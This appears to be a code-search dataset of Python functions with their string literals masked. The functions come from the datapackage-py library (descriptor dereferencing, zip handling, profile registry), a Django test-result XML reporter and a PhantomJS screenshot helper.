{"signature": "def dereference_resource_descriptor(descriptor, base_path, base_descriptor=None):", "body": "PROPERTIES = ['<STR_LIT>', '<STR_LIT>']<EOL>if base_descriptor is None:<EOL><INDENT>base_descriptor = descriptor<EOL><DEDENT>for property in PROPERTIES:<EOL><INDENT>value = descriptor.get(property)<EOL>if not isinstance(value, six.string_types):<EOL><INDENT>continue<EOL><DEDENT>if value.startswith('<STR_LIT:#>'):<EOL><INDENT>try:<EOL><INDENT>pointer = jsonpointer.JsonPointer(value[<NUM_LIT:1>:])<EOL>descriptor[property] = pointer.resolve(base_descriptor)<EOL><DEDENT>except Exception as error:<EOL><INDENT>message = '<STR_LIT>' % (value, property)<EOL>six.raise_from(<EOL>exceptions.DataPackageException(message),<EOL>error<EOL>)<EOL><DEDENT><DEDENT>elif value.startswith('<STR_LIT:http>'):<EOL><INDENT>try:<EOL><INDENT>response = requests.get(value)<EOL>response.raise_for_status()<EOL>descriptor[property] = response.json()<EOL><DEDENT>except Exception as error:<EOL><INDENT>message = '<STR_LIT>' % (value, property)<EOL>six.raise_from(<EOL>exceptions.DataPackageException(message),<EOL>error<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not is_safe_path(value):<EOL><INDENT>raise exceptions.DataPackageException(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (value, property))<EOL><DEDENT>if not base_path:<EOL><INDENT>raise exceptions.DataPackageException(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (value, property))<EOL><DEDENT>fullpath = os.path.join(base_path, value)<EOL>try:<EOL><INDENT>with io.open(fullpath, encoding='<STR_LIT:utf-8>') as file:<EOL><INDENT>descriptor[property] = json.load(file)<EOL><DEDENT><DEDENT>except Exception as error:<EOL><INDENT>message = '<STR_LIT>' % (value, property)<EOL>six.raise_from(<EOL>exceptions.DataPackageException(message),<EOL>error<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return descriptor<EOL>", "docstring": "Dereference resource descriptor (IN-PLACE FOR NOW).", "id": "f7558:m3"}
{"signature": "def expand_package_descriptor(descriptor):", "body": "descriptor.setdefault('<STR_LIT>', config.DEFAULT_DATA_PACKAGE_PROFILE)<EOL>for resource in descriptor.get('<STR_LIT>', []):<EOL><INDENT>expand_resource_descriptor(resource)<EOL><DEDENT>return descriptor<EOL>", "docstring": "Apply defaults to data package descriptor (IN-PLACE FOR NOW).", "id": "f7558:m4"}
{"signature": "def expand_resource_descriptor(descriptor):", "body": "descriptor.setdefault('<STR_LIT>', config.DEFAULT_RESOURCE_PROFILE)<EOL>if descriptor['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>schema = descriptor.get('<STR_LIT>')<EOL>if schema is not None:<EOL><INDENT>for field in schema.get('<STR_LIT>', []):<EOL><INDENT>field.setdefault('<STR_LIT:type>', config.DEFAULT_FIELD_TYPE)<EOL>field.setdefault('<STR_LIT>', config.DEFAULT_FIELD_FORMAT)<EOL><DEDENT>schema.setdefault('<STR_LIT>', config.DEFAULT_MISSING_VALUES)<EOL><DEDENT>dialect = descriptor.get('<STR_LIT>')<EOL>if dialect is not None:<EOL><INDENT>for key, value in config.DEFAULT_DIALECT.items():<EOL><INDENT>dialect.setdefault(key, value)<EOL><DEDENT><DEDENT><DEDENT>return descriptor<EOL>", "docstring": "Apply defaults to resource descriptor (IN-PLACE FOR NOW).", "id": "f7558:m5"}
{"signature": "def ensure_dir(path):", "body": "dirpath = os.path.dirname(path)<EOL>if dirpath and not os.path.exists(dirpath):<EOL><INDENT>os.makedirs(dirpath)<EOL><DEDENT>", "docstring": "Ensure directory exists.", "id": "f7558:m6"}
{"signature": "def is_safe_path(path):", "body": "contains_windows_var = lambda val: re.match(r'<STR_LIT>', val)<EOL>contains_posix_var = lambda val: re.match(r'<STR_LIT>', val)<EOL>unsafeness_conditions = [<EOL>os.path.isabs(path),<EOL>('<STR_LIT>' % os.path.sep) in path,<EOL>path.startswith('<STR_LIT>'),<EOL>os.path.expandvars(path) != path,<EOL>contains_windows_var(path),<EOL>contains_posix_var(path),<EOL>]<EOL>return not any(unsafeness_conditions)<EOL>", "docstring": "Check if path is safe and allowed.", "id": "f7558:m7"}
{"signature": "def validate(descriptor):", "body": "Package(descriptor, strict=True)<EOL>return True<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#validate", "id": "f7559:m0"}
{"signature": "def _extract_zip_if_possible(descriptor):", "body": "tempdir = None<EOL>result = descriptor<EOL>try:<EOL><INDENT>if isinstance(descriptor, six.string_types):<EOL><INDENT>res = requests.get(descriptor)<EOL>res.raise_for_status()<EOL>result = res.content<EOL><DEDENT><DEDENT>except (IOError,<EOL>ValueError,<EOL>requests.exceptions.RequestException):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>the_zip = result<EOL>if isinstance(the_zip, bytes):<EOL><INDENT>try:<EOL><INDENT>os.path.isfile(the_zip)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>the_zip = io.BytesIO(the_zip)<EOL><DEDENT><DEDENT>if zipfile.is_zipfile(the_zip):<EOL><INDENT>with zipfile.ZipFile(the_zip, '<STR_LIT:r>') as z:<EOL><INDENT>_validate_zip(z)<EOL>descriptor_path = [<EOL>f for f in z.namelist() if f.endswith('<STR_LIT>')][<NUM_LIT:0>]<EOL>tempdir = tempfile.mkdtemp('<STR_LIT>')<EOL>z.extractall(tempdir)<EOL>result = os.path.join(tempdir, descriptor_path)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>result = descriptor<EOL><DEDENT><DEDENT>except (TypeError,<EOL>zipfile.BadZipfile):<EOL><INDENT>pass<EOL><DEDENT>if hasattr(descriptor, '<STR_LIT>'):<EOL><INDENT>descriptor.seek(<NUM_LIT:0>)<EOL><DEDENT>return (tempdir, result)<EOL>", "docstring": "If descriptor is a path to zip file extract and return (tempdir, descriptor)", "id": "f7560:m0"}
{"signature": "def _validate_zip(the_zip):", "body": "datapackage_jsons = [f for f in the_zip.namelist() if f.endswith('<STR_LIT>')]<EOL>if len(datapackage_jsons) != <NUM_LIT:1>:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise exceptions.DataPackageException(msg.format(n=len(datapackage_jsons)))<EOL><DEDENT>", "docstring": "Validate zipped data package", "id": "f7560:m1"}
{"signature": "def _slugify_resource_name(name):", "body": "return re.sub(r'<STR_LIT>', '<STR_LIT:_>', name)<EOL>", "docstring": "Slugify resource name", "id": "f7560:m2"}
{"signature": "def _slugify_foreign_key(schema):", "body": "for foreign_key in schema.get('<STR_LIT>', []):<EOL><INDENT>foreign_key['<STR_LIT>']['<STR_LIT>'] = _slugify_resource_name(<EOL>foreign_key['<STR_LIT>'].get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>return schema<EOL>", "docstring": "Slugify foreign key", "id": "f7560:m3"}
{"signature": "def __init__(self, descriptor=None, base_path=None, strict=False, storage=None,<EOL>schema=None, default_base_path=None, **options):", "body": "<EOL>if schema is not None:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>if isinstance(schema, six.string_types):<EOL><INDENT>if schema in ['<STR_LIT>', '<STR_LIT:default>']:<EOL><INDENT>schema = '<STR_LIT>'<EOL><DEDENT>elif schema == '<STR_LIT>':<EOL><INDENT>schema = '<STR_LIT>'<EOL><DEDENT>elif schema == '<STR_LIT>':<EOL><INDENT>schema = '<STR_LIT>'<EOL><DEDENT>descriptor['<STR_LIT>'] = schema<EOL><DEDENT><DEDENT>if default_base_path is not None:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>base_path = default_base_path<EOL><DEDENT>tempdir, descriptor = _extract_zip_if_possible(descriptor)<EOL>if tempdir:<EOL><INDENT>self.__tempdir = tempdir<EOL><DEDENT>if base_path is None:<EOL><INDENT>base_path = helpers.get_descriptor_base_path(descriptor)<EOL><DEDENT>if storage and not isinstance(storage, Storage):<EOL><INDENT>storage = Storage.connect(storage, **options)<EOL><DEDENT>if storage and not descriptor:<EOL><INDENT>descriptor = {'<STR_LIT>': []}<EOL>for bucket in storage.buckets:<EOL><INDENT>descriptor['<STR_LIT>'].append({'<STR_LIT:path>': bucket})<EOL><DEDENT><DEDENT>descriptor = helpers.retrieve_descriptor(descriptor)<EOL>descriptor = helpers.dereference_package_descriptor(descriptor, base_path)<EOL>for resource in descriptor.get('<STR_LIT>', []):<EOL><INDENT>url = resource.pop('<STR_LIT:url>', None)<EOL>if url is not None:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>resource['<STR_LIT:path>'] = [url]<EOL><DEDENT><DEDENT>self.__current_descriptor = deepcopy(descriptor)<EOL>self.__next_descriptor = deepcopy(descriptor)<EOL>self.__base_path = base_path<EOL>self.__storage = storage<EOL>self.__strict = strict<EOL>self.__resources = []<EOL>self.__errors = []<EOL>self.__build()<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m0"}
{"signature": "def __del__(self):", "body": "if hasattr(self, '<STR_LIT>') and os.path.exists(self.__tempdir):<EOL><INDENT>shutil.rmtree(self.__tempdir, ignore_errors=True)<EOL><DEDENT>", "docstring": "https://github.com/frictionlessdata/tableschema-py#schema", "id": "f7560:c0:m1"}
{"signature": "@property<EOL><INDENT>def valid(self):<DEDENT>", "body": "return not bool(self.__errors)<EOL>", "docstring": "https://github.com/frictionlessdata/tableschema-py#schema", "id": "f7560:c0:m2"}
{"signature": "@property<EOL><INDENT>def errors(self):<DEDENT>", "body": "return self.__errors<EOL>", "docstring": "https://github.com/frictionlessdata/tableschema-py#schema", "id": "f7560:c0:m3"}
{"signature": "@property<EOL><INDENT>def profile(self):<DEDENT>", "body": "return self.__profile<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m4"}
{"signature": "@property<EOL><INDENT>def descriptor(self):<DEDENT>", "body": "<EOL>return self.__next_descriptor<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m5"}
{"signature": "@property<EOL><INDENT>def base_path(self):<DEDENT>", "body": "return self.__base_path<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m6"}
{"signature": "@property<EOL><INDENT>def resources(self):<DEDENT>", "body": "return self.__resources<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m7"}
{"signature": "@property<EOL><INDENT>def resource_names(self):<DEDENT>", "body": "return [resource.name for resource in self.resources]<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m8"}
{"signature": "def get_resource(self, name):", "body": "for resource in self.resources:<EOL><INDENT>if resource.name == name:<EOL><INDENT>return resource<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m9"}
{"signature": "def add_resource(self, descriptor):", "body": "self.__current_descriptor.setdefault('<STR_LIT>', [])<EOL>self.__current_descriptor['<STR_LIT>'].append(descriptor)<EOL>self.__build()<EOL>return self.__resources[-<NUM_LIT:1>]<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m10"}
{"signature": "def remove_resource(self, name):", "body": "resource = self.get_resource(name)<EOL>if resource:<EOL><INDENT>predicat = lambda resource: resource.get('<STR_LIT:name>') != name<EOL>self.__current_descriptor['<STR_LIT>'] = list(filter(<EOL>predicat, self.__current_descriptor['<STR_LIT>']))<EOL>self.__build()<EOL><DEDENT>return resource<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m11"}
{"signature": "def infer(self, pattern=False):", "body": "<EOL>if pattern:<EOL><INDENT>if not self.__base_path:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise exceptions.DataPackageException(message)<EOL><DEDENT>options = {'<STR_LIT>': True} if '<STR_LIT>' in pattern else {}<EOL>for path in glob.glob(os.path.join(self.__base_path, pattern), **options):<EOL><INDENT>self.add_resource({'<STR_LIT:path>': os.path.relpath(path, self.__base_path)})<EOL><DEDENT><DEDENT>for index, resource in enumerate(self.resources):<EOL><INDENT>descriptor = resource.infer()<EOL>self.__current_descriptor['<STR_LIT>'][index] = descriptor<EOL>self.__build()<EOL><DEDENT>if self.__next_descriptor['<STR_LIT>'] == config.DEFAULT_DATA_PACKAGE_PROFILE:<EOL><INDENT>if self.resources and all(map(lambda resource: resource.tabular, self.resources)):<EOL><INDENT>self.__current_descriptor['<STR_LIT>'] = '<STR_LIT>'<EOL>self.__build()<EOL><DEDENT><DEDENT>return self.__current_descriptor<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m12"}
{"signature": "def commit(self, strict=None):", "body": "if strict is not None:<EOL><INDENT>self.__strict = strict<EOL><DEDENT>elif self.__current_descriptor == self.__next_descriptor:<EOL><INDENT>return False<EOL><DEDENT>self.__current_descriptor = deepcopy(self.__next_descriptor)<EOL>self.__build()<EOL>return True<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m13"}
{"signature": "def save(self, target=None, storage=None, **options):", "body": "<EOL>if storage is not None:<EOL><INDENT>if not isinstance(storage, Storage):<EOL><INDENT>storage = Storage.connect(storage, **options)<EOL><DEDENT>buckets = []<EOL>schemas = []<EOL>for resource in self.resources:<EOL><INDENT>if resource.tabular:<EOL><INDENT>resource.infer()<EOL>buckets.append(_slugify_resource_name(resource.name))<EOL>schemas.append(resource.schema.descriptor)<EOL><DEDENT><DEDENT>schemas = list(map(_slugify_foreign_key, schemas))<EOL>storage.create(buckets, schemas, force=True)<EOL>for bucket in storage.buckets:<EOL><INDENT>resource = self.resources[buckets.index(bucket)]<EOL>storage.write(bucket, resource.iter())<EOL><DEDENT><DEDENT>elif str(target).endswith('<STR_LIT>'):<EOL><INDENT>mode = '<STR_LIT:w>'<EOL>encoding = '<STR_LIT:utf-8>'<EOL>if six.PY2:<EOL><INDENT>mode = '<STR_LIT:wb>'<EOL>encoding = None<EOL><DEDENT>helpers.ensure_dir(target)<EOL>with io.open(target, mode=mode, encoding=encoding) as file:<EOL><INDENT>json.dump(self.__current_descriptor, file, indent=<NUM_LIT:4>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>with zipfile.ZipFile(target, '<STR_LIT:w>') as z:<EOL><INDENT>descriptor = json.loads(json.dumps(self.__current_descriptor))<EOL>for index, resource in enumerate(self.resources):<EOL><INDENT>if not resource.name:<EOL><INDENT>continue<EOL><DEDENT>if not resource.local:<EOL><INDENT>continue<EOL><DEDENT>path = os.path.abspath(resource.source)<EOL>basename = resource.descriptor.get('<STR_LIT:name>')<EOL>resource_format = resource.descriptor.get('<STR_LIT>')<EOL>if resource_format:<EOL><INDENT>basename = '<STR_LIT:.>'.join([basename, resource_format.lower()])<EOL><DEDENT>path_inside_dp = os.path.join('<STR_LIT:data>', basename)<EOL>z.write(path, path_inside_dp)<EOL>descriptor['<STR_LIT>'][index]['<STR_LIT:path>'] = path_inside_dp<EOL><DEDENT>z.writestr('<STR_LIT>', json.dumps(descriptor))<EOL><DEDENT><DEDENT>except (IOError, zipfile.BadZipfile, zipfile.LargeZipFile) as exception:<EOL><INDENT>six.raise_from(exceptions.DataPackageException(exception), exception)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#package", "id": "f7560:c0:m14"}
{"signature": "def safe(self):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return True<EOL>", "docstring": "True: datapackage is always safe.", "id": "f7560:c0:m16"}
{"signature": "@property<EOL><INDENT>def schema(self):<DEDENT>", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return self.__profile<EOL>", "docstring": ":class:`.Schema`: This data package's schema.", "id": "f7560:c0:m17"}
{"signature": "@property<EOL><INDENT>def attributes(self):<DEDENT>", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>attributes = set(self.to_dict().keys())<EOL>try:<EOL><INDENT>attributes.update(self.profile.properties.keys())<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return tuple(attributes)<EOL>", "docstring": "tuple: Attributes defined in the schema and the data package.", "id": "f7560:c0:m18"}
{"signature": "@property<EOL><INDENT>def required_attributes(self):<DEDENT>", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>required = ()<EOL>try:<EOL><INDENT>if self.profile.required is not None:<EOL><INDENT>required = tuple(self.profile.required)<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return required<EOL>", "docstring": "tuple: The schema's required attributed.", "id": "f7560:c0:m19"}
{"signature": "def validate(self):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>descriptor = self.to_dict()<EOL>self.profile.validate(descriptor)<EOL>", "docstring": "Validate this Data Package.", "id": "f7560:c0:m20"}
{"signature": "def iter_errors(self):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return self.profile.iter_errors(self.to_dict())<EOL>", "docstring": "Lazily yields each ValidationError for the received data dict.", "id": "f7560:c0:m21"}
{"signature": "def to_dict(self):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return copy.deepcopy(self.descriptor)<EOL>", "docstring": "dict: Convert this Data Package to dict.", "id": "f7560:c0:m22"}
{"signature": "def to_json(self):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return json.dumps(self.descriptor)<EOL>", "docstring": "str: Convert this Data Package to a JSON string.", "id": "f7560:c0:m23"}
{"signature": "@property<EOL><INDENT>def available_profiles(self):<DEDENT>", "body": "return self._registry<EOL>", "docstring": "dict: The available profiles' metadata keyed by their ids.", "id": "f7561:c0:m1"}
{"signature": "@property<EOL><INDENT>def base_path(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._BASE_PATH<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "str: The base path of this Registry (None if it's remote).", "id": "f7561:c0:m2"}
{"signature": "def get(self, profile_id):", "body": "if profile_id not in self._profiles:<EOL><INDENT>try:<EOL><INDENT>self._profiles[profile_id] = self._get_profile(profile_id)<EOL><DEDENT>except (ValueError,<EOL>IOError) as e:<EOL><INDENT>six.raise_from(RegistryError(e), e)<EOL><DEDENT><DEDENT>return self._profiles[profile_id]<EOL>", "docstring": "Returns the profile with the received ID as a dict\n\n        If a local copy of the profile exists, it'll be returned. If not, it'll\n        be downloaded from the web. The results are cached, so any subsequent\n        calls won't hit the filesystem or the web.\n\n        Args:\n            profile_id (str): The ID of the profile you want.\n\n        Raises:\n            RegistryError: If there was some problem opening the profile file\n                or its format was incorrect.", "id": "f7561:c0:m3"}
{"signature": "def _get_profile(self, profile_id):", "body": "profile_metadata = self._registry.get(profile_id)<EOL>if not profile_metadata:<EOL><INDENT>return<EOL><DEDENT>path = self._get_absolute_path(profile_metadata.get('<STR_LIT>'))<EOL>url = profile_metadata.get('<STR_LIT>')<EOL>if path:<EOL><INDENT>try:<EOL><INDENT>return self._load_json_file(path)<EOL><DEDENT>except IOError as local_exc:<EOL><INDENT>if not url:<EOL><INDENT>raise local_exc<EOL><DEDENT>try:<EOL><INDENT>return self._load_json_url(url)<EOL><DEDENT>except IOError:<EOL><INDENT>msg = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(path=path, url=url)<EOL>six.raise_from(IOError(msg), local_exc)<EOL><DEDENT><DEDENT><DEDENT>elif url:<EOL><INDENT>return self._load_json_url(url)<EOL><DEDENT>", "docstring": "dict: Return the profile with the received ID as a dict (None if it\n        doesn't exist).", "id": "f7561:c0:m4"}
{"signature": "def _get_registry(self, registry_path_or_url):", "body": "if registry_path_or_url.startswith('<STR_LIT:http>'):<EOL><INDENT>profiles = self._load_json_url(registry_path_or_url)<EOL><DEDENT>else:<EOL><INDENT>profiles = self._load_json_file(registry_path_or_url)<EOL><DEDENT>try:<EOL><INDENT>registry = {}<EOL>for profile in profiles:<EOL><INDENT>registry[profile['<STR_LIT:id>']] = profile<EOL><DEDENT>return registry<EOL><DEDENT>except KeyError as e:<EOL><INDENT>msg = (<EOL>'<STR_LIT>'<EOL>).format(path=registry_path_or_url)<EOL>six.raise_from(ValueError(msg), e)<EOL><DEDENT>", "docstring": "dict: Return the registry as dict with profiles keyed by id.", "id": "f7561:c0:m5"}
{"signature": "def _get_absolute_path(self, relative_path):", "body": "try:<EOL><INDENT>return os.path.join(self.base_path, relative_path)<EOL><DEDENT>except (AttributeError, TypeError):<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "str: Return the received relative_path joined with the base path\n        (None if there were some error).", "id": "f7561:c0:m6"}
{"signature": "def _load_json_url(self, url):", "body": "res = requests.get(url)<EOL>res.raise_for_status()<EOL>return res.json()<EOL>", "docstring": "dict: Return the JSON at the local path or URL as a dict.", "id": "f7561:c0:m8"}
{"signature": "def read(*paths):", "body": "basedir = os.path.dirname(__file__)<EOL>fullpath = os.path.join(basedir, *paths)<EOL>contents = io.open(fullpath, encoding='<STR_LIT:utf-8>').read().strip()<EOL>return contents<EOL>", "docstring": "Read a text file.", "id": "f7565:m0"}
{"signature": "def startTestRun(self):", "body": "super(XMLTestResult, self).startTestRun()<EOL>", "docstring": "Called once before any tests are executed.", "id": "f7571:c1:m1"}
{"signature": "def dump_xml(self, output_dir):", "body": "self.buffer = False<EOL>if not os.path.exists(output_dir):<EOL><INDENT>os.makedirs(output_dir)<EOL><DEDENT>with open(os.path.join(output_dir, '<STR_LIT>'), '<STR_LIT:w>') as output:<EOL><INDENT>document = XMLGenerator(output, '<STR_LIT:utf-8>')<EOL>document.startDocument()<EOL>document.startElement('<STR_LIT>', AttributesImpl({}))<EOL>suites = groupby(<EOL>self.testInfos, key=lambda test_info: self.test_case_name(test_info.test_method)<EOL>)<EOL>for suite_name, suite in suites:<EOL><INDENT>document.startElement('<STR_LIT>',<EOL>AttributesImpl({'<STR_LIT:name>': suite_name}))<EOL>for test_info in suite:<EOL><INDENT>document.startElement('<STR_LIT>', AttributesImpl({<EOL>'<STR_LIT>': suite_name,<EOL>'<STR_LIT:name>': self.test_method_name(test_info.test_method),<EOL>'<STR_LIT:time>': '<STR_LIT>' % (<EOL>test_info.end_time - test_info.start_time<EOL>).total_seconds()<EOL>}))<EOL>if test_info.result == TestInfo.RESULT.ERROR:<EOL><INDENT>document.startElement('<STR_LIT:error>', AttributesImpl({<EOL>'<STR_LIT:message>': smart_text(test_info.err[<NUM_LIT:1>])<EOL>}))<EOL>document.characters(self._exc_info_to_string(test_info.err, test_info.test_method))<EOL>document.endElement('<STR_LIT:error>')<EOL><DEDENT>elif test_info.result == TestInfo.RESULT.FAILURE:<EOL><INDENT>document.startElement('<STR_LIT>', AttributesImpl({<EOL>'<STR_LIT:message>': smart_text(test_info.err[<NUM_LIT:1>])<EOL>}))<EOL>document.characters(<EOL>self._exc_info_to_string(test_info.err, test_info.test_method).decode('<STR_LIT:utf-8>')<EOL>)<EOL>document.endElement('<STR_LIT>')<EOL><DEDENT>elif test_info.result == TestInfo.RESULT.UNEXPECTED_SUCCESS:<EOL><INDENT>document.startElement('<STR_LIT:error>', AttributesImpl({<EOL>'<STR_LIT:message>': '<STR_LIT>'<EOL>}))<EOL>document.endElement('<STR_LIT:error>')<EOL><DEDENT>elif test_info.result == TestInfo.RESULT.SKIPPED:<EOL><INDENT>document.startElement('<STR_LIT>', AttributesImpl({}))<EOL>document.characters(test_info.reason)<EOL>document.endElement('<STR_LIT>')<EOL><DEDENT>if test_info.stdout:<EOL><INDENT>document.startElement('<STR_LIT>', AttributesImpl({}))<EOL>document.characters(test_info.stdout)<EOL>document.endElement('<STR_LIT>')<EOL><DEDENT>if test_info.stderr:<EOL><INDENT>document.startElement('<STR_LIT>', AttributesImpl({}))<EOL>document.characters(test_info.stderr)<EOL>document.endElement('<STR_LIT>')<EOL><DEDENT>document.endElement('<STR_LIT>')<EOL><DEDENT>document.endElement('<STR_LIT>')<EOL><DEDENT>document.endElement('<STR_LIT>')<EOL>document.endDocument()<EOL><DEDENT>", "docstring": "Dumps test result to xml", "id": "f7571:c1:m13"}
{"signature": "def find_first_existing_executable(exe_list):", "body": "for filepath, opts in exe_list:<EOL><INDENT>try:<EOL><INDENT>proc = subprocess.Popen([filepath, opts],<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>proc.communicate()<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return filepath<EOL><DEDENT><DEDENT>", "docstring": "Accepts list of [('executable_file_path', 'options')],\nReturns first working executable_file_path", "id": "f7580:m0"}
{"signature": "def get_app_locations():", "body": "return [os.path.dirname(os.path.normpath(import_module(app_name).__file__))<EOL>for app_name in PROJECT_APPS]<EOL>", "docstring": "Returns list of paths to tested apps", "id": "f7580:m1"}
{"signature": "def get_tasks():", "body": "task_classes = []<EOL>for task_path in TASKS:<EOL><INDENT>try:<EOL><INDENT>module, classname = task_path.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>' % task_path)<EOL><DEDENT>try:<EOL><INDENT>mod = import_module(module)<EOL><DEDENT>except ImportError as e:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>'<EOL>% (module, e))<EOL><DEDENT>try:<EOL><INDENT>task_class = getattr(mod, classname)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>'<EOL>'<STR_LIT>' % (module, classname))<EOL><DEDENT>task_classes.append(task_class)<EOL><DEDENT>return task_classes<EOL>", "docstring": "Get the imported task classes for each task that will be run", "id": "f7581:m0"}
{"signature": "def get_task_options():", "body": "options = ()<EOL>task_classes = get_tasks()<EOL>for cls in task_classes:<EOL><INDENT>options += cls.option_list<EOL><DEDENT>return options<EOL>", "docstring": "Get the options for each task that will be run", "id": "f7581:m1"}
{"signature": "def get_author_and_version(package):", "body": "init_py = open(os.path.join(package, '<STR_LIT>')).read()<EOL>author = re.search(\"<STR_LIT>\", init_py).group(<NUM_LIT:1>)<EOL>version = re.search(\"<STR_LIT>\", init_py).group(<NUM_LIT:1>)<EOL>return author, version<EOL>", "docstring": "Return package author and version as listed in `init.py`.", "id": "f7582:m0"}
{"signature": "def save(url, *args, **kwargs):", "body": "device = heimdallDevice(kwargs.get('<STR_LIT>', None))<EOL>kwargs['<STR_LIT:width>'] = kwargs.get('<STR_LIT:width>', None) or device.width<EOL>kwargs['<STR_LIT>'] = kwargs.get('<STR_LIT>', None) or device.height<EOL>kwargs['<STR_LIT>'] = kwargs.get('<STR_LIT>', None) or device.user_agent<EOL>screenshot_image = screenshot(url, **kwargs)<EOL>if kwargs.get('<STR_LIT>'):<EOL><INDENT>image = Image.open(screenshot_image.path)<EOL>image.save(screenshot_image.path, optimize=True)<EOL><DEDENT>return screenshot_image<EOL>", "docstring": "Parse the options, set defaults and then fire up PhantomJS.", "id": "f7587:m0"}
{"signature": "def screenshot(url, *args, **kwargs):", "body": "phantomscript = os.path.join(os.path.dirname(__file__),<EOL>'<STR_LIT>')<EOL>directory = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>image_name = kwargs.get('<STR_LIT>', None) or _image_name_from_url(url)<EOL>ext = kwargs.get('<STR_LIT>', '<STR_LIT>').lower()<EOL>save_path = os.path.join(directory, image_name) + '<STR_LIT:.>' + ext<EOL>crop_to_visible = kwargs.get('<STR_LIT>', False)<EOL>cmd_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>phantomscript,<EOL>url,<EOL>'<STR_LIT>',<EOL>str(kwargs['<STR_LIT:width>']),<EOL>'<STR_LIT>',<EOL>str(kwargs['<STR_LIT>']),<EOL>'<STR_LIT>',<EOL>str(kwargs['<STR_LIT>']),<EOL>'<STR_LIT>',<EOL>directory,<EOL>'<STR_LIT>',<EOL>ext,<EOL>'<STR_LIT>',<EOL>str(image_name),<EOL>]<EOL>if crop_to_visible:<EOL><INDENT>cmd_args.append('<STR_LIT>')<EOL><DEDENT>output = subprocess.Popen(cmd_args,<EOL>stdout=subprocess.PIPE).communicate()[<NUM_LIT:0>]<EOL>return Screenshot(save_path, directory, image_name + '<STR_LIT:.>' + ext, ext)<EOL>", "docstring": "Call PhantomJS with the specified flags and options.", "id": "f7587:m4"}
{"signature": "def _image_name_from_url(url):", "body": "find = r'<STR_LIT>'<EOL>replace = '<STR_LIT:_>'<EOL>return re.sub(find, replace, url).strip('<STR_LIT:_>')<EOL>", "docstring": "Create a nice image name from the url.", "id": "f7587:m5"}
{"signature": "def debug():", "body": "png('<STR_LIT>', device=\"<STR_LIT>\")<EOL>", "docstring": "Debug function - runs if heimdall called directly.", "id": "f7587:m6"}
